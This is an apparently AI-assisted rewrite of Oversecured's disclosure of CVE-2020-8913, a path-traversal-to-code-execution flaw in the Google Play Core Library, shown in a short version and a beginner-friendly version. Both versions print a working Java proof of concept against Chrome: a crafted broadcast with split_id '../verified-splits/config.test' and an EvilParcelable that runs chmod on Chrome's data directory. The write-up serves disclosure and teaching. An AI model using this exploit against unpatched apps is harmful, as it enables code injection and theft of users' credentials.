Skip to content
Path traversal Write-up Advanced

Oversecured automatically discovers persistent code execution in the Google Play Core Library

Oversecured Follow

Published on blog.oversecured.com

The Google Play Core Library is a popular library for Android that allows updates to various parts of an app to be delivered at runtime without the participation of the user, via the Google API. It can also be used to reduce the size of the main apk file by loading resources optimized for a particular device and…

Oversecured (@OversecuredInc), on blog.oversecured.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

The Google Play Core Library is an Android library that lets an app receive updates to parts of itself at runtime through the Google API, without the user taking part. It is also used to shrink the main APK: instead of shipping dozens of variants, the app loads resources optimised for a particular device and settings (localisation, image dimensions, processor architecture, dynamic modules).

The vulnerability Oversecured found in the library made it possible to add executable modules to any app that used it, so arbitrary code could run inside those apps. An attacker with a malware app installed on the victim's device could steal login details, passwords and financial details, and read mail. Testing was carried out against the Google Chrome app.

Setup

The work started from Oversecured's scanning kernel: the team tested an update on several popular apps and the scanner flagged something interesting. In many cases the scanner reported Theft of arbitrary files and Overwriting arbitrary files in the Google Play Core library's source code. The listing from the report is shown below.

vulnerability
vulnerability From the original on blog.oversecured.com

An exploit was written to steal arbitrary files and a draft report was prepared for Google. The team then investigated how far the attack could be developed. The updated exploit could substitute executable files and achieve arbitrary code execution. The Google Chrome app was decompiled with the deobfuscation option enabled, and the code fragments below come from that decompilation.

Finding it

The entry point is an unprotected broadcast receiver in com/google/android/play/core/splitinstall/C3748l.java. Third-party apps can send specially crafted intents to it, forcing the vulnerable app to copy arbitrary files to arbitrary locations named by the split_id parameter, which is vulnerable to path traversal.

The receiver is registered in C3748l.java:

Java
private C3748l(Context context, C3741e eVar) {
    super(new ae("SplitInstallListenerRegistry"), new IntentFilter("com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService"), context);

The registration itself happens in com/google/android/play/core/listener/C3718a.java:

Java
protected C3718a(ae aeVar, IntentFilter intentFilter, Context context) {
    this.f22595a = aeVar;
    this.f22596b = intentFilter; // intent filter with action `com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService`
    this.f22597c = context;
}

private final void m15347a() {
    if ((this.f22600f || !this.f22598d.isEmpty()) && this.f22599e == null) {
        this.f22599e = new C3719b(this, 0);
        this.f22597c.registerReceiver(this.f22599e, this.f22596b); // registration of unprotected broadcast receiver

Because the receiver is unprotected, any third-party app installed on the same device can broadcast arbitrary data to it.

The message is parsed in com/google/android/play/core/splitinstall/SplitInstallSessionState.java:

Java
public static SplitInstallSessionState m15407a(Bundle bundle) {
    return new SplitInstallSessionState(bundle.getInt("session_id"), bundle.getInt("status"), bundle.getInt("error_code"), bundle.getLong("bytes_downloaded"), bundle.getLong("total_bytes_to_download"), bundle.getStringArrayList("module_names"), bundle.getStringArrayList("languages"), (PendingIntent) bundle.getParcelable("user_confirmation_intent"), bundle.getParcelableArrayList("split_file_intents")); // `split_file_intents` will be parsed
}

The copy happens in com/google/android/play/core/internal/ab.java. Content from the URI in split_file_intents is written into the unverified-splits directory under the name split_id, which is subject to path traversal because there is no validation:

Java
for (Intent next : list) {
    String stringExtra = next.getStringExtra("split_id");
    File a = this.f22543b.mo32067a(stringExtra); // path traversal from `/data/user/0/{package_name}/files/splitcompat/{id}/unverified-splits/`
    if (!a.exists() && !this.f22543b.mo32067b(stringExtra).exists()) {
        bufferedInputStream = new BufferedInputStream(new FileInputStream(this.f21840a.getContentResolver().openFileDescriptor(next.getData(), "r").getFileDescriptor())); // data of `split_file_intents` intents
        fileOutputStream = new FileOutputStream(a);
        byte[] bArr = new byte[4096];
        while (true) {
            int read = bufferedInputStream.read(bArr);
            if (read <= 0) {
                break;
            }
            fileOutputStream.write(bArr, 0, read);

Further research showed why the write is dangerous. The verified-splits folder holds verified APKs signed with the current app's signature, and those files are not verified again later. When a file in that folder starts with a config. prefix, it is added to the app's runtime ClassLoader automatically. An attacker can therefore create a class that implements, for example, the Parcelable interface and contains malicious code, then send instances of it to the affected app. The createFromParcel() method runs in the app's context during deserialisation, which gives local code execution.

Exploitation

A proof of concept was built for Google Chrome. It executes the command chmod -R 777 /data/user/0/com.android.chrome in the context of the vulnerable app.

Step 1: launch the target app

The attacking app starts Chrome's main activity, which causes the unprotected receiver in the Google Play Core library code to be registered.

Step 2: broadcast a crafted split install state

Three seconds later the attacker sends a broadcast to the receiver. The intent carries a split_file_intents list whose single entry has a split_id of ../verified-splits/config.test and a data URI pointing at the attacker's own APK. The library copies that APK into the verified-splits directory under the config. prefix, so the affected app is added in its entirety to the default ClassResolver.

Java
public static final String APP = "com.android.chrome";

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent launchIntent = getPackageManager().getLaunchIntentForPackage(APP);
    startActivity(launchIntent);

    new Handler().postDelayed(() -> {
        Intent split = new Intent();
        split.setData(Uri.parse("file://" + getApplicationInfo().sourceDir));
        split.putExtra("split_id", "../verified-splits/config.test");

        Bundle bundle = new Bundle();
        bundle.putInt("status", 3);
        bundle.putParcelableArrayList("split_file_intents", new ArrayList<Parcelable>(Arrays.asList(split)));

        Intent intent = new Intent("com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService");
        intent.setPackage(APP);
        intent.putExtra("session_state", bundle);
        sendBroadcast(intent);
    }, 3000);

    new Handler().postDelayed(() -> {
        startActivity(launchIntent.putExtra("x", new EvilParcelable()));
    }, 5000);
}

The important parts:

  1. split.setData(Uri.parse("file://" + getApplicationInfo().sourceDir)) makes the source of the copy the attacker's own APK, read through the target app's content resolver.
  2. split.putExtra("split_id", "../verified-splits/config.test") is the path traversal: it climbs out of unverified-splits into verified-splits and names the file with the config. prefix that the runtime ClassLoader picks up.
  3. bundle.putInt("status", 3) and bundle.putParcelableArrayList("split_file_intents", ...) build the session state the library expects, and intent.setPackage(APP) addresses the broadcast to Chrome.

Step 3: send the malicious Parcelable

Five seconds later the attacking app sends an EvilParcelable object to the target. The object executes the command automatically when it is deserialised. Deserialisation happens automatically because of the way Android works: when a component receives an Intent, all attached objects are deserialised on receipt of a value or state, for example through the Intent.hasExtra(name) method.

Java
package oversecured.poc;

import android.os.Parcelable;

public class EvilParcelable implements Parcelable {
    public static final Parcelable.Creator<EvilParcelable> CREATOR = new Parcelable.Creator<EvilParcelable>() {
        public EvilParcelable createFromParcel(android.os.Parcel parcel) {
            exploit();
            return null;
        }

        public EvilParcelable[] newArray(int i) {
            exploit();
            return null;
        }

        private void exploit() {
            try {
                Runtime.getRuntime().exec("chmod -R 777 /data/user/0/" + MainActivity.APP).waitFor();
            } catch (Throwable th) {
                throw new RuntimeException(th);
            }
        }
    };

    public int describeContents() { return 0; }
    public void writeToParcel(android.os.Parcel parcel, int i) {}
}

The CREATOR field is what Android calls during deserialisation. Both createFromParcel and newArray call exploit(), which runs the chmod command in the context of the vulnerable app.

Root cause

Three weaknesses combine:

  1. The broadcast receiver registered for com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService is unprotected, so any app on the device can deliver a session_state bundle to it.
  2. The split_id value taken from each split_file_intents entry is used to build the destination path without validation, so ../ sequences escape the intended unverified-splits directory.
  3. Files in verified-splits are treated as trusted because they were verified once, and are not verified again. Any file there whose name starts with config. is loaded into the app's runtime ClassLoader, so a file written into that folder becomes executable code inside the target app.

The result is code execution: the attacker's file is written into the trusted folder and picked up by the ClassLoader, and the Parcelable sent afterwards runs its code in the target's context.

Impact

Google assessed the vulnerability as highly dangerous. Many popular apps, including Google Chrome, were vulnerable to arbitrary code execution. According to the report this could lead to leaks of users' credentials and financial details, including credit card history, and to interception and falsification of browser history, cookie files and similar data. The precondition is an attacker who has a malware app installed on the victim's device, since the attack is local and relies on broadcasting intents to the vulnerable app.

Fix

Google confirmed the vulnerability was fixed on 04/06/2020 and assigned CVE-2020-8913 on 07/22/2020. The report's guidance is that developers should update the Google Play Core library to the latest version and users should update all their apps.

Timeline

Date Event
02/26/2020 Scanner triggered, first exploit to steal arbitrary files created
02/27/2020 Vulnerability studied in greater detail, exploit to execute arbitrary code created, information sent to Google
04/06/2020 Google confirmed the vulnerability has been fixed
07/22/2020 Google assigned CVE-2020-8913

Variants to test

  1. Other unprotected receivers in update or split-install libraries. Look for exported or unprotected receivers that accept a session state bundle. A positive result is a third-party app being able to deliver a crafted bundle and observe a file being written by the target.
  2. Other path-building parameters. Any identifier used to construct a file path under an app-private directory (session ids, module names, split names) is worth testing with ../ sequences. A positive result is a file appearing outside the intended directory.
  3. Trusted directories that skip re-verification. Check whether files placed in a directory treated as verified (for example one whose contents are loaded by a ClassLoader or executed) are re-checked after being written. A positive result is a file written by another app being loaded or executed without a fresh signature check.
  4. ClassLoader pickup by filename prefix. Test whether files with particular prefixes in app-private directories are added to the runtime ClassLoader. A positive result is a class from an attacker-supplied file being resolved by the target app.
  5. Parcelable deserialisation in exported components. Send custom Parcelable objects to exported activities, services or receivers and check whether createFromParcel runs in the target's context. A positive result is attacker code executing during deserialisation.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 21 min read.

What happened, in plain words

Imagine a large office building where each tenant (an app) can order new furniture (extra pieces of the app) from a central supplier (Google). The supplier sends the furniture through a private delivery hatch in the building. The hatch is supposed to be locked so only the supplier can use it. Oversecured found that the hatch was not locked: any other tenant in the building could drop a package through it. Worse, the building's staff would take any package that arrived through that hatch, put it in a special storage room, and later treat everything in that room as trusted furniture, even if it was actually a bomb.

In technical terms: the Google Play Core Library is a piece of software that many Android apps include. It lets an app download extra parts of itself after the user has installed it, without the user doing anything. Oversecured discovered that this library contained a flaw which allowed any other app on the same phone to sneak executable code into the vulnerable app. That means the attacker's code would run inside the victim's app, with all the victim app's permissions. An attacker who had a malicious app installed on the phone could then steal login details, passwords, financial information, and read the victim's mail.

The testing was done against the Google Chrome app for Android.

Background: what the pieces are

Before we go further, let's define the moving parts. If you already know these, skip ahead.

  • Android app: a program that runs on an Android phone. Apps are packaged as files ending in .apk (Android Package).
  • APK: the file you download from the Play Store. It contains code, images, and other resources.
  • Google Play Core Library: a helper library that app developers include in their app. It talks to Google's servers to fetch extra pieces of the app later. For example, a game might download a new level pack after installation, or an app might download language packs only for the languages the user actually needs. This saves space and download time.
  • API: Application Programming Interface. Think of it as a menu at a restaurant: it lists what you can ask the kitchen to make, and how to ask for it. In software, an API is a defined set of requests one program can make to another. The Google API here is the set of requests the Play Core Library makes to Google's servers.
  • Runtime: while the program is running. "At runtime" means "while the app is open and working", as opposed to "at install time".
  • Intent: Android's way of passing a message from one component to another. Think of it as an envelope with a label on the outside (the "action") and contents inside (the "extras"). Apps, and parts of the same app, use intents to ask each other to do things.
  • Broadcast receiver: a component that listens for intents that are broadcast to everyone. Think of it as a radio receiver tuned to a particular station. Anyone can transmit on that station, and every receiver tuned to it will hear the message.
  • Unprotected (exported) receiver: a receiver that any app on the phone can send messages to. If it is protected, only apps with the right permission can talk to it. If it is unprotected, any app can.
  • Path traversal: a way of tricking a program that is supposed to save a file in one folder into saving it somewhere else. If the program expects a filename like report.txt and saves it inside /data/app/files/, an attacker can supply ../../secret/report.txt and the program will climb up two folders and write into /data/secret/ instead. The .. means "go up one folder".
  • ClassLoader: the part of Android that finds and loads code when the app needs it. Think of it as a librarian who fetches a book from the shelf when you ask for it by title. If you can slip a fake book onto the shelf with the right title, the librarian will hand it to you as if it were the real one.
  • Parcelable: an Android interface for objects that can be packed into a parcel (a bundle of data) and sent between components. When the receiving side unpacks the parcel, it calls a method called createFromParcel to rebuild the object. If the object came from an attacker, that method is attacker code.
  • Deserialisation: the act of unpacking data that was packed up earlier. Think of it as opening a parcel. If the parcel contains a spring-loaded trap, opening it triggers the trap.
  • CVE: Common Vulnerabilities and Exposures. A public identifier for a known security flaw, so people can refer to it unambiguously. CVE-2020-8913 is the identifier assigned to this one.
  • Exploit: a piece of code that takes advantage of a vulnerability.
  • Proof of concept (PoC): a small demonstration that the vulnerability is real, usually the minimum code needed to show the effect.
  • Decompile: to turn a compiled program back into readable source code. Android apps are compiled; decompiling lets a researcher read what the app does.
  • Deobfuscation: many apps deliberately rename their internal parts to meaningless names (like C3748l) to make them harder to read. Deobfuscation tries to undo that, or at least make the names consistent enough to follow.
  • Signature (app signature): a cryptographic stamp that proves an APK was built by a particular developer. Android uses it to decide whether an update really comes from the same developer as the installed app.
  • Cookie: a small piece of data a website stores in your browser so it can remember you between page loads, for example to keep you logged in. If an attacker steals your cookies, they can often act as you on that site.
  • Credentials: your username and password, or anything else used to prove who you are.

The setup: how the flaw was found

Oversecured's team was testing an update to their scanning tool (the "scanning kernel") against several popular apps. The scanner flagged something interesting. In many cases it reported two classes of problem in the Google Play Core library's source code: Theft of arbitrary files and Overwriting arbitrary files. In plain words, the library could be tricked into reading files it should not read, and into writing files where it should not write.

The listing from the report is shown below.

vulnerability
vulnerability From the original on blog.oversecured.com

The team wrote an exploit to steal arbitrary files, and prepared a draft report for Google. Then they investigated how far the attack could go. The updated exploit could substitute executable files and achieve arbitrary code execution. That is, instead of just reading or writing files, the attacker could make the vulnerable app run the attacker's code.

The testing was done on the Google Chrome app. To read Chrome's code, the team decompiled it with the deobfuscation option enabled. The code fragments below come from that decompilation.

Finding it: the vulnerable code

The entry point is an unprotected broadcast receiver in the file com/google/android/play/core/splitinstall/C3748l.java. Because it is unprotected, any third-party app on the same phone can send specially crafted intents to it. The library then copies arbitrary files to arbitrary locations named by a parameter called split_id, which is vulnerable to path traversal.

The receiver is registered in C3748l.java:

Java
private C3748l(Context context, C3741e eVar) {
    super(new ae("SplitInstallListenerRegistry"), new IntentFilter("com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService"), context);

Line by line:

  1. private C3748l(Context context, C3741e eVar) { declares a constructor (the code that runs when an object of this class is created). It takes two arguments: a Context (Android's handle to the app's environment) and an object of type C3741e (an internal helper class).
  2. super(new ae("SplitInstallListenerRegistry"), new IntentFilter("com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService"), context); calls the parent class's constructor. It passes three things: a name for the listener registry, an IntentFilter that says "I am interested in intents whose action is com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService", and the context. The action string is the "radio station" the receiver is tuned to.

The registration itself happens in com/google/android/play/core/listener/C3718a.java:

Java
protected C3718a(ae aeVar, IntentFilter intentFilter, Context context) {
    this.f22595a = aeVar;
    this.f22596b = intentFilter; // intent filter with action `com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService`
    this.f22597c = context;
}

private final void m15347a() {
    if ((this.f22600f || !this.f22598d.isEmpty()) && this.f22599e == null) {
        this.f22599e = new C3719b(this, 0);
        this.f22597c.registerReceiver(this.f22599e, this.f22596b); // registration of unprotected broadcast receiver

Line by line:

  1. protected C3718a(ae aeVar, IntentFilter intentFilter, Context context) { is a constructor that stores three things: a listener object, an intent filter, and a context.
  2. this.f22595a = aeVar; saves the listener.
  3. this.f22596b = intentFilter; saves the intent filter. The comment reminds us that this filter is for the action com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService.
  4. this.f22597c = context; saves the context.
  5. private final void m15347a() { is a method that performs the actual registration.
  6. if ((this.f22600f || !this.f22598d.isEmpty()) && this.f22599e == null) { checks two conditions: either some flag is set or some list is not empty, and the receiver has not been registered yet. This avoids registering twice.
  7. this.f22599e = new C3719b(this, 0); creates the receiver object.
  8. this.f22597c.registerReceiver(this.f22599e, this.f22596b); registers it with the system, using the saved intent filter. The comment says it is an unprotected broadcast receiver. That is the key point: nothing here restricts who can send to it.

Because the receiver is unprotected, any third-party app installed on the same device can broadcast arbitrary data to it. In our office analogy, the delivery hatch has no lock.

The message is parsed in com/google/android/play/core/splitinstall/SplitInstallSessionState.java:

Java
public static SplitInstallSessionState m15407a(Bundle bundle) {
    return new SplitInstallSessionState(bundle.getInt("session_id"), bundle.getInt("status"), bundle.getInt("error_code"), bundle.getLong("bytes_downloaded"), bundle.getLong("total_bytes_to_download"), bundle.getStringArrayList("module_names"), bundle.getStringArrayList("languages"), (PendingIntent) bundle.getParcelable("user_confirmation_intent"), bundle.getParcelableArrayList("split_file_intents")); // `split_file_intents` will be parsed
}

Line by line:

  1. public static SplitInstallSessionState m15407a(Bundle bundle) { is a static method that takes a Bundle (a bag of key-value pairs, like a dictionary) and returns a SplitInstallSessionState object.
  2. return new SplitInstallSessionState(...) builds a new session state from the values in the bundle. Each bundle.getInt("name"), bundle.getLong("name"), bundle.getStringArrayList("name"), bundle.getParcelable("name") and bundle.getParcelableArrayList("name") pulls out one value by its key.
  3. The keys are: session_id, status, error_code, bytes_downloaded, total_bytes_to_download, module_names, languages, user_confirmation_intent, and split_file_intents. The comment notes that split_file_intents will be parsed. That is the list of intents the library will act on.

The copy happens in com/google/android/play/core/internal/ab.java. Content from the URI in split_file_intents is written into the unverified-splits directory under the name split_id, which is subject to path traversal because there is no validation:

Java
for (Intent next : list) {
    String stringExtra = next.getStringExtra("split_id");
    File a = this.f22543b.mo32067a(stringExtra); // path traversal from `/data/user/0/{package_name}/files/splitcompat/{id}/unverified-splits/`
    if (!a.exists() && !this.f22543b.mo32067b(stringExtra).exists()) {
        bufferedInputStream = new BufferedInputStream(new FileInputStream(this.f21840a.getContentResolver().openFileDescriptor(next.getData(), "r").getFileDescriptor())); // data of `split_file_intents` intents
        fileOutputStream = new FileOutputStream(a);
        byte[] bArr = new byte[4096];
        while (true) {
            int read = bufferedInputStream.read(bArr);
            if (read <= 0) {
                break;
            }
            fileOutputStream.write(bArr, 0, read);

Line by line:

  1. for (Intent next : list) { loops over each intent in the list (the split_file_intents list).
  2. String stringExtra = next.getStringExtra("split_id"); reads the split_id value from the intent. This is the name the attacker controls.
  3. File a = this.f22543b.mo32067a(stringExtra); builds a destination file path from that name. The comment shows the intended base directory: /data/user/0/{package_name}/files/splitcompat/{id}/unverified-splits/. Because the name is not validated, .. sequences in it can climb out of that directory. That is the path traversal.
  4. if (!a.exists() && !this.f22543b.mo32067b(stringExtra).exists()) { checks that the destination does not already exist, so the library does not overwrite an existing file.
  5. bufferedInputStream = new BufferedInputStream(new FileInputStream(this.f21840a.getContentResolver().openFileDescriptor(next.getData(), "r").getFileDescriptor())); opens the source file. The source is the URI carried in the intent (next.getData()), opened through the target app's content resolver. In plain words: the library reads whatever file the attacker pointed at, using the target app's own permissions.
  6. fileOutputStream = new FileOutputStream(a); opens the destination file for writing.
  7. byte[] bArr = new byte[4096]; creates a 4 KB buffer.
  8. while (true) { int read = bufferedInputStream.read(bArr); if (read <= 0) { break; } fileOutputStream.write(bArr, 0, read); copies the source into the destination, chunk by chunk, until the source is exhausted.

So far, the library is copying a file the attacker chose into a folder the attacker chose, using the victim app's permissions. That is already bad. The next section explains why it is worse than it looks.

Why the write is dangerous

Further research showed why writing into that folder matters. The verified-splits folder holds verified APKs signed with the current app's signature, and those files are not verified again later. In our office analogy, the storage room has a sign on the door saying "verified furniture only", but nobody checks the boxes once they are inside.

When a file in that folder starts with a config. prefix, it is added to the app's runtime ClassLoader automatically. That means the app will treat it as code and load it. An attacker can therefore create a class that implements, for example, the Parcelable interface and contains malicious code, then send instances of it to the affected app. The createFromParcel() method runs in the app's context during deserialisation, which gives local code execution.

In plain words: the attacker writes their own APK into the trusted folder under a name starting with config., the app's ClassLoader picks it up, and now the attacker's code is part of the app. Then the attacker sends a parcel containing an object of a class defined in that APK. When the app unpacks the parcel, it runs the attacker's createFromParcel method. That is the moment the attacker's code executes.

Exploitation: the proof of concept

A proof of concept was built for Google Chrome. It executes the command chmod -R 777 /data/user/0/com.android.chrome in the context of the vulnerable app.

What does that command do? chmod changes file permissions. -R means "recursively, including everything inside". 777 means "everyone can read, write and execute". /data/user/0/com.android.chrome is Chrome's private data directory. So the command makes Chrome's private data readable and writable by anyone on the phone. It is a simple, visible effect that proves code ran inside Chrome.

Step 1: launch the target app

The attacking app starts Chrome's main activity. Why? Because that is what causes the unprotected receiver in the Google Play Core library code to be registered. Launching Chrome is what causes the unprotected receiver in the Google Play Core library code to be registered.

Step 2: broadcast a crafted split install state

Three seconds later, the attacker sends a broadcast to the receiver. The intent carries a split_file_intents list whose single entry has a split_id of ../verified-splits/config.test and a data URI pointing at the attacker's own APK. The library copies that APK into the verified-splits directory under the config. prefix, so the affected app is added in its entirety to the default ClassResolver.

Java
public static final String APP = "com.android.chrome";

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    Intent launchIntent = getPackageManager().getLaunchIntentForPackage(APP);
    startActivity(launchIntent);

    new Handler().postDelayed(() -> {
        Intent split = new Intent();
        split.setData(Uri.parse("file://" + getApplicationInfo().sourceDir));
        split.putExtra("split_id", "../verified-splits/config.test");

        Bundle bundle = new Bundle();
        bundle.putInt("status", 3);
        bundle.putParcelableArrayList("split_file_intents", new ArrayList<Parcelable>(Arrays.asList(split)));

        Intent intent = new Intent("com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService");
        intent.setPackage(APP);
        intent.putExtra("session_state", bundle);
        sendBroadcast(intent);
    }, 3000);

    new Handler().postDelayed(() -> {
        startActivity(launchIntent.putExtra("x", new EvilParcelable()));
    }, 5000);
}

Line by line:

  1. public static final String APP = "com.android.chrome"; stores the target package name. A package name is Android's unique identifier for an app, like a domain name for a website.
  2. protected void onCreate(Bundle savedInstanceState) { is the method that runs when the attacking activity starts.
  3. super.onCreate(savedInstanceState); calls the parent implementation, standard Android boilerplate.
  4. Intent launchIntent = getPackageManager().getLaunchIntentForPackage(APP); asks Android for the intent that launches Chrome's main screen.
  5. startActivity(launchIntent); launches Chrome. This is what registers the vulnerable receiver.
  6. new Handler().postDelayed(() -> { ... }, 3000); schedules a block of code to run 3 seconds later. The delay gives Chrome time to start and register the receiver.
  7. Intent split = new Intent(); creates an empty intent to represent one split file.
  8. split.setData(Uri.parse("file://" + getApplicationInfo().sourceDir)); sets the source of the copy to the attacker's own APK. getApplicationInfo().sourceDir is the path to the attacker's APK file on disk. The file:// prefix makes it a URI.
  9. split.putExtra("split_id", "../verified-splits/config.test"); sets the destination name. The ../ climbs out of unverified-splits into verified-splits, and config.test is the name the ClassLoader will pick up because of the config. prefix.
  10. Bundle bundle = new Bundle(); creates the session state bundle.
  11. bundle.putInt("status", 3); sets the status field to 3.
  12. bundle.putParcelableArrayList("split_file_intents", new ArrayList<Parcelable>(Arrays.asList(split))); puts the single split intent into the list under the key the library reads.
  13. Intent intent = new Intent("com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService"); creates the broadcast intent, addressed to the vulnerable receiver's action.
  14. intent.setPackage(APP); addresses the broadcast to Chrome.
  15. intent.putExtra("session_state", bundle); attaches the bundle under the key the library expects.
  16. sendBroadcast(intent); sends it. The library receives it, parses the bundle, and copies the attacker's APK into verified-splits/config.test.
  17. new Handler().postDelayed(() -> { startActivity(launchIntent.putExtra("x", new EvilParcelable())); }, 5000); schedules a second action 5 seconds after start. It launches Chrome again, this time with an extra named x whose value is an EvilParcelable object. When Chrome receives the intent, it unpacks the parcel, which runs the attacker's code.

The important parts, restated:

  1. split.setData(Uri.parse("file://" + getApplicationInfo().sourceDir)) makes the source of the copy the attacker's own APK, read through the target app's content resolver.
  2. split.putExtra("split_id", "../verified-splits/config.test") is the path traversal: it climbs out of unverified-splits into verified-splits and names the file with the config. prefix that the runtime ClassLoader picks up.
  3. bundle.putInt("status", 3) and bundle.putParcelableArrayList("split_file_intents", ...) build the session state the library expects, and intent.setPackage(APP) addresses the broadcast to Chrome.

Step 3: send the malicious Parcelable

Five seconds later, the attacking app sends an EvilParcelable object to the target. The object executes the command automatically when it is deserialised. Deserialisation happens automatically because of the way Android works: when a component receives an Intent, all attached objects are deserialised on receipt of a value or state, for example through the Intent.hasExtra(name) method.

Java
package oversecured.poc;

import android.os.Parcelable;

public class EvilParcelable implements Parcelable {
    public static final Parcelable.Creator<EvilParcelable> CREATOR = new Parcelable.Creator<EvilParcelable>() {
        public EvilParcelable createFromParcel(android.os.Parcel parcel) {
            exploit();
            return null;
        }

        public EvilParcelable[] newArray(int i) {
            exploit();
            return null;
        }

        private void exploit() {
            try {
                Runtime.getRuntime().exec("chmod -R 777 /data/user/0/" + MainActivity.APP).waitFor();
            } catch (Throwable th) {
                throw new RuntimeException(th);
            }
        }
    };

    public int describeContents() { return 0; }
    public void writeToParcel(android.os.Parcel parcel, int i) {}
}

Line by line:

  1. package oversecured.poc; declares the Java package (a namespace) for this class.
  2. import android.os.Parcelable; imports the Parcelable interface.
  3. public class EvilParcelable implements Parcelable { declares a class that implements Parcelable, so Android can pack and unpack it.
  4. public static final Parcelable.Creator<EvilParcelable> CREATOR = new Parcelable.Creator<EvilParcelable>() { defines the CREATOR field. Android calls this field when it needs to rebuild an EvilParcelable from a parcel. This is the hook the attacker uses.
  5. public EvilParcelable createFromParcel(android.os.Parcel parcel) { exploit(); return null; } is the method Android calls to rebuild the object. Instead of rebuilding anything, it calls exploit() and returns null.
  6. public EvilParcelable[] newArray(int i) { exploit(); return null; } is another method Android may call. It also calls exploit().
  7. private void exploit() { try { Runtime.getRuntime().exec("chmod -R 777 /data/user/0/" + MainActivity.APP).waitFor(); } catch (Throwable th) { throw new RuntimeException(th); } } runs the command. Runtime.getRuntime().exec(...) starts a new process. The command is chmod -R 777 /data/user/0/ followed by the target package name, which is com.android.chrome. .waitFor() waits for the command to finish. The try/catch wraps any error in a RuntimeException.
  8. public int describeContents() { return 0; } and public void writeToParcel(android.os.Parcel parcel, int i) {} are required by the Parcelable interface. They do nothing here, because the attacker does not need to write anything; the goal is to run code on the receiving side.

The CREATOR field is what Android calls during deserialisation. Both createFromParcel and newArray call exploit(), which runs the chmod command in the context of the vulnerable app.

Root cause

Three weaknesses combine:

  1. The broadcast receiver registered for com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService is unprotected, so any app on the device can deliver a session_state bundle to it.
  2. The split_id value taken from each split_file_intents entry is used to build the destination path without validation, so ../ sequences escape the intended unverified-splits directory.
  3. Files in verified-splits are treated as trusted because they were verified once, and are not verified again. Any file there whose name starts with config. is loaded into the app's runtime ClassLoader, so a file written into that folder becomes executable code inside the target app.

The result is code execution: the malicious file stays in the app's storage and is picked up by the ClassLoader, and the Parcelable sent afterwards runs its code in the target's context.

Impact

Google assessed the vulnerability as highly dangerous. Many popular apps, including Google Chrome, were vulnerable to arbitrary code execution. According to the report this could lead to leaks of users' credentials and financial details, including credit card history, and to interception and falsification of browser history, cookie files and similar data. The precondition is an attacker who has a malware app installed on the victim's device, since the attack is local and relies on broadcasting intents to the vulnerable app.

In plain words: the attacker does not need to be on the network or trick the user into clicking a link. They only need their app installed on the same phone. Once installed, they can inject code into an app that uses the vulnerable library, and that code runs with the victim app's permissions. If the victim app is a browser, that could mean leaks of credentials and financial details and interception or falsification of browser history and cookie files.

Fix

Google confirmed the vulnerability was fixed on 04/06/2020 and assigned CVE-2020-8913 on 07/22/2020. The report's guidance is that developers should update the Google Play Core library to the latest version and users should update all their apps.

In plain words: if you are a developer, upgrade the library. If you are a user, install app updates when they appear, because the fix only reaches you through an updated app.

Timeline

Date Event
02/26/2020 Scanner triggered, first exploit to steal arbitrary files created
02/27/2020 Vulnerability studied in greater detail, exploit to execute arbitrary code created, information sent to Google
04/06/2020 Google confirmed the vulnerability has been fixed
07/22/2020 Google assigned CVE-2020-8913

Variants to test

If you are testing apps yourself, these are the patterns worth looking for. Each one is a generalisation of a weakness seen in this report.

  1. Other unprotected receivers in update or split-install libraries. Look for exported or unprotected receivers that accept a session state bundle. A positive result is a third-party app being able to deliver a crafted bundle and observe a file being written by the target.
  2. Other path-building parameters. Any identifier used to construct a file path under an app-private directory (session ids, module names, split names) is worth testing with ../ sequences. A positive result is a file appearing outside the intended directory.
  3. Trusted directories that skip re-verification. Check whether files placed in a directory treated as verified (for example one whose contents are loaded by a ClassLoader or executed) are re-checked after being written. A positive result is a file written by another app being loaded or executed without a fresh signature check.
  4. ClassLoader pickup by filename prefix. Test whether files with particular prefixes in app-private directories are added to the runtime ClassLoader. A positive result is a class from an attacker-supplied file being resolved by the target app.
  5. Parcelable deserialisation in exported components. Send custom Parcelable objects to exported activities, services or receivers and check whether createFromParcel runs in the target's context. A positive result is attacker code executing during deserialisation.

Glossary

  • Android app: a program that runs on an Android phone, packaged as an APK file.
  • APK: Android Package, the file format used to distribute Android apps.
  • API: Application Programming Interface, a defined set of requests one program can make to another.
  • Broadcast receiver: an Android component that listens for intents broadcast to everyone.
  • Bundle: a bag of key-value pairs used to pass data between Android components.
  • Cookie: a small piece of data a website stores in your browser to remember you between page loads.
  • Credentials: data used to prove who you are, such as a username and password.
  • CVE: Common Vulnerabilities and Exposures, a public identifier for a known security flaw.
  • Deobfuscation: the process of undoing name-mangling that makes code hard to read.
  • Exploit: code that takes advantage of a vulnerability.
  • Intent: Android's message format for asking a component to do something.
  • Intent filter: a declaration of which intent actions a component is interested in.
  • Package name: Android's unique identifier for an app, like a domain name for a website.
  • Parcelable: an Android interface for objects that can be packed into a parcel and sent between components.
  • Path traversal: tricking a program into writing or reading outside its intended folder using .. sequences.
  • Proof of concept (PoC): a small demonstration that a vulnerability is real.
  • Runtime: while the program is running.
  • Signature (app signature): a cryptographic stamp proving an APK was built by a particular developer.
  • URI: Uniform Resource Identifier, a string that names a resource, such as a file or a web address.
  • Vulnerability: a weakness in software that an attacker can exploit.

More by Oversecured

View all

9 more disclosed reports, best first.

More from Google

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.